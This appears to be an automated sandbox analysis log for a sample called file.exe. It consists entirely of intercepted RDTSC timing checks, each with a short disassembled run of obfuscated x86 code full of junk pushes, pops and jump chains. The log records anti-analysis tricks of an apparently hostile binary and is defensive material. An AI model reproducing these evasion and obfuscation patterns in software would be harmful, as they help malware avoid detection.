Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F130B4 second address: F13105 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6EC0DB0658h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jne 00007F6EC0DB0662h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jc 00007F6EC0DB0670h 0x0000001c jl 00007F6EC0DB066Ah 0x00000022 jmp 00007F6EC0DB0664h 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e jnp 00007F6EC0DB0656h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32E03 second address: F32E16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB081Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32E16 second address: F32E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32E1B second address: F32E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6EC0DB0816h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32E2E second address: F32E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F6EC0DB0661h 0x0000000c jmp 00007F6EC0DB0662h 0x00000011 pushad 0x00000012 jno 00007F6EC0DB0656h 0x00000018 ja 00007F6EC0DB0656h 0x0000001e jmp 00007F6EC0DB0662h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F331F0 second address: F33209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB0825h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33209 second address: F33227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0662h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33227 second address: F3322B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3322B second address: F33236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33236 second address: F3323C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33917 second address: F3391D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33BBE second address: F33BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33BC9 second address: F33BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007F6EC0DB0656h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33D18 second address: F33D38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F6EC0DB0827h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AE05 second address: F2AE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AE09 second address: F2AE13 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AE13 second address: F2AE2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0662h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AE2D second address: F2AE31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34522 second address: F34526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34865 second address: F3486B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F349E5 second address: F34A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 jmp 00007F6EC0DB065Fh 0x0000000b je 00007F6EC0DB0656h 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34A07 second address: F34A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB0820h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36E21 second address: F36E27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36E27 second address: F36E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36E2B second address: F36E2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3637E second address: F36382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06735 second address: F06739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06739 second address: F0673F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0673F second address: F06747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06747 second address: F0674B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0674B second address: F0674F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F407FF second address: F4083B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6EC0DB0827h 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F6EC0DB0816h 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6EC0DB0823h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F409C8 second address: F409F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB0661h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6EC0DB065Bh 0x00000013 jmp 00007F6EC0DB065Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F409F7 second address: F409FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4295B second address: F42960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42D39 second address: F42D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42DE3 second address: F42DE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42DE7 second address: F42E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6EC0DB0820h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42EC9 second address: F42EDC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6EC0DB0658h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42EDC second address: F42EE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42FC3 second address: F42FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 jnp 00007F6EC0DB0660h 0x0000000f jc 00007F6EC0DB065Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4359E second address: F435A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43892 second address: F43896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43896 second address: F4389A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F439FE second address: F43A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43B93 second address: F43BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 jns 00007F6EC0DB0824h 0x0000000e nop 0x0000000f mov edi, 2C797B63h 0x00000014 jp 00007F6EC0DB081Ch 0x0000001a mov dword ptr [ebp+122D2F9Fh], ecx 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F456B4 second address: F456DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6EC0DB065Dh 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6EC0DB0661h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F456DC second address: F45726 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 sub dword ptr [ebp+122D36A3h], esi 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F6EC0DB0818h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a movsx esi, ax 0x0000002d mov dword ptr [ebp+122D2300h], eax 0x00000033 push 00000000h 0x00000035 jng 00007F6EC0DB0819h 0x0000003b movzx esi, si 0x0000003e xchg eax, ebx 0x0000003f pushad 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45726 second address: F45745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F6EC0DB0660h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45745 second address: F4574F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6EC0DB0816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4574F second address: F45755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45755 second address: F45759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45E3B second address: F45E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4677C second address: F4678F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6EC0DB081Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45E41 second address: F45E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45E45 second address: F45E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45E49 second address: F45E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47ABD second address: F47AD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6EC0DB081Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45E57 second address: F45E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47AD0 second address: F47AD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45E5B second address: F45E65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47AD4 second address: F47B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F6EC0DB0818h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F6EC0DB0818h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f cmc 0x00000040 push 00000000h 0x00000042 call 00007F6EC0DB0821h 0x00000047 jl 00007F6EC0DB0827h 0x0000004d jmp 00007F6EC0DB0821h 0x00000052 pop esi 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F6EC0DB081Ah 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45E65 second address: F45E69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49CDE second address: F49CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49CE2 second address: F49D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6EC0DB065Bh 0x0000000b popad 0x0000000c nop 0x0000000d jp 00007F6EC0DB065Ch 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F6EC0DB0658h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007F6EC0DB0658h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b jnl 00007F6EC0DB065Ch 0x00000051 xor dword ptr [ebp+1247B7A8h], esi 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c jl 00007F6EC0DB0656h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49D63 second address: F49D6D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6EC0DB0816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49A8A second address: F49A8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49D6D second address: F49D77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6EC0DB0816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49D77 second address: F49D92 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6EC0DB0656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jl 00007F6EC0DB0675h 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007F6EC0DB0656h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DF71 second address: F4DF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F6EC0DB0821h 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4EBBB second address: F4EBEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F6EC0DB065Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4F164 second address: F4F16E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F6EC0DB0816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4F16E second address: F4F1C4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push edi 0x0000000c add dword ptr [ebp+122D3137h], eax 0x00000012 pop ebx 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D2629h], ecx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F6EC0DB0658h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 je 00007F6EC0DB065Ch 0x0000003d mov ebx, dword ptr [ebp+122D2F06h] 0x00000043 mov ebx, dword ptr [ebp+122D37E7h] 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c js 00007F6EC0DB0658h 0x00000052 push edx 0x00000053 pop edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F527C8 second address: F527E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F6EC0DB081Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F527E1 second address: F527E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F538D3 second address: F538D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F538D7 second address: F538E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F538E3 second address: F538E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F538E9 second address: F538EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F538EE second address: F538F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4F2E5 second address: F4F2EF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6EC0DB0656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4F2EF second address: F4F313 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0821h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6EC0DB081Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F548A0 second address: F548F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e push esi 0x0000000f mov dword ptr [ebp+124572D2h], ebx 0x00000015 pop ecx 0x00000016 call 00007F6EC0DB0663h 0x0000001b mov di, 799Fh 0x0000001f pop eax 0x00000020 popad 0x00000021 mov edi, dword ptr [ebp+122D382Fh] 0x00000027 push 00000000h 0x00000029 sub dword ptr [ebp+122D3137h], ebx 0x0000002f push 00000000h 0x00000031 xchg eax, esi 0x00000032 push edx 0x00000033 push eax 0x00000034 js 00007F6EC0DB0656h 0x0000003a pop eax 0x0000003b pop edx 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jne 00007F6EC0DB0656h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F548F4 second address: F54901 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6EC0DB0816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F586EA second address: F586EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F586EF second address: F5870B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6EC0DB0827h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56B10 second address: F56B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56B17 second address: F56B22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F6EC0DB0816h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58D00 second address: F58D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
